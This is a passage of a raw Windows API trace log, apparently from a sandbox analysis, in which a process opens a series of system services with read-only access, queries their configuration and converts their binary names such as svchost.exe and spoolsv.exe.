lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedule", cchWideChar=8, lpMultiByteStr=0x5982f8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedule", lpUsedDefaultChar=0x0) returned 8 [0028.137] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Schedule", dwDesiredAccess=0x1) returned 0x6638a0 [0028.138] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.138] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.138] GetLastError () returned 0x7a [0028.138] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598340, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="scpolicysvc", cchWideChar=11, lpMultiByteStr=0x598340, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scpolicysvc", lpUsedDefaultChar=0x0) returned 11 [0028.138] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SCPolicySvc", dwDesiredAccess=0x1) returned 0x663968 [0028.138] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.139] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.139] GetLastError () returned 0x7a [0028.139] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x116, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598388, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sdrsvc", cchWideChar=6, lpMultiByteStr=0x598388, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdrsvc", lpUsedDefaultChar=0x0) returned 6 [0028.139] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SDRSVC", dwDesiredAccess=0x1) returned 0x6638c8 [0028.139] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.139] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.140] GetLastError () returned 0x7a [0028.140] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0xfe, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5983d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="seclogon", cchWideChar=8, lpMultiByteStr=0x5983d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="seclogon", lpUsedDefaultChar=0x0) returned 8 [0028.140] OpenServiceW (hSCManager=0x6637d8, lpServiceName="seclogon", dwDesiredAccess=0x1) returned 0x6639b8 [0028.140] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.140] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.141] GetLastError () returned 0x7a [0028.141] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0xf8, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598418, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sens", cchWideChar=4, lpMultiByteStr=0x598418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sens", lpUsedDefaultChar=0x0) returned 4 [0028.141] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SENS", dwDesiredAccess=0x1) returned 0x6638a0 [0028.141] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.141] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.141] GetLastError () returned 0x7a [0028.141] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x14c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensrsvc", cchWideChar=8, lpMultiByteStr=0x598460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensrsvc", lpUsedDefaultChar=0x0) returned 8 [0028.142] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SensrSvc", dwDesiredAccess=0x1) returned 0x663968 [0028.142] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.143] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.143] GetLastError () returned 0x7a [0028.143] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x14a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5984a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sessionenv", cchWideChar=10, lpMultiByteStr=0x5984a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sessionenv", lpUsedDefaultChar=0x0) returned 10 [0028.143] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SessionEnv", dwDesiredAccess=0x1) returned 0x6638c8 [0028.143] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.143] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.144] GetLastError () returned 0x7a [0028.144] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5984f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sharedaccess", cchWideChar=12, lpMultiByteStr=0x5984f0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sharedaccess", lpUsedDefaultChar=0x0) returned 12 [0028.144] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SharedAccess", dwDesiredAccess=0x1) returned 0x6639b8 [0028.144] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.144] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.144] GetLastError () returned 0x7a [0028.144] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598538, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shellhwdetection", cchWideChar=16, lpMultiByteStr=0x598538, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shellhwdetection", lpUsedDefaultChar=0x0) returned 16 [0028.145] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ShellHWDetection", dwDesiredAccess=0x1) returned 0x6638a0 [0028.145] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.145] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.145] GetLastError () returned 0x7a [0028.145] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598580, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap", cchWideChar=8, lpMultiByteStr=0x598580, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap", lpUsedDefaultChar=0x0) returned 8 [0028.146] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SNMPTRAP", dwDesiredAccess=0x1) returned 0x663968 [0028.146] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.146] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.146] GetLastError () returned 0x7a [0028.146] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0xf4, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snmptrap.exe", cchWideChar=12, lpMultiByteStr=0x5985c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snmptrap.exe", lpUsedDefaultChar=0x0) returned 12 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spooler", cchWideChar=7, lpMultiByteStr=0x5985c8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spooler", lpUsedDefaultChar=0x0) returned 7 [0028.147] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Spooler", dwDesiredAccess=0x1) returned 0x6638c8 [0028.147] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.147] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.147] GetLastError () returned 0x7a [0028.147] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x10a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=11, lpMultiByteStr=0x598610, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 11 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc", cchWideChar=6, lpMultiByteStr=0x598610, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc", lpUsedDefaultChar=0x0) returned 6 [0028.147] OpenServiceW (hSCManager=0x6637d8, lpServiceName="sppsvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.148] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.148] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.148] GetLastError () returned 0x7a [0028.148] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x112, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x598658, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppuinotify", cchWideChar=11, lpMultiByteStr=0x598658, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppuinotify", lpUsedDefaultChar=0x0) returned 11 [0028.148] OpenServiceW (hSCManager=0x6637d8, lpServiceName="sppuinotify", dwDesiredAccess=0x1) returned 0x6638a0 [0028.148] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.149] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.149] GetLastError () returned 0x7a [0028.149] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x146, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5986a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ssdpsrv", cchWideChar=7, lpMultiByteStr=0x5986a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssdpsrv", lpUsedDefaultChar=0x0) returned 7 [0028.149] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SSDPSRV", dwDesiredAccess=0x1) returned 0x663968 [0028.149] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.149] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.150] GetLastError () returned 0x7a [0028.150] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x148, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5986e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sstpsvc", cchWideChar=7, lpMultiByteStr=0x5986e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sstpsvc", lpUsedDefaultChar=0x0) returned 7 [0028.150] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SstpSvc", dwDesiredAccess=0x1) returned 0x6638c8 [0028.150] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.150] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.150] GetLastError () returned 0x7a [0028.150] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x150, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598730, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stisvc", cchWideChar=6, lpMultiByteStr=0x598730, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stisvc", lpUsedDefaultChar=0x0) returned 6 [0028.151] OpenServiceW (hSCManager=0x6637d8, lpServiceName="stisvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.151] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.151] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.151] GetLastError () returned 0x7a [0028.151] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x15e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.151] WideCharToMultiByte (in: CodePage=0x0, 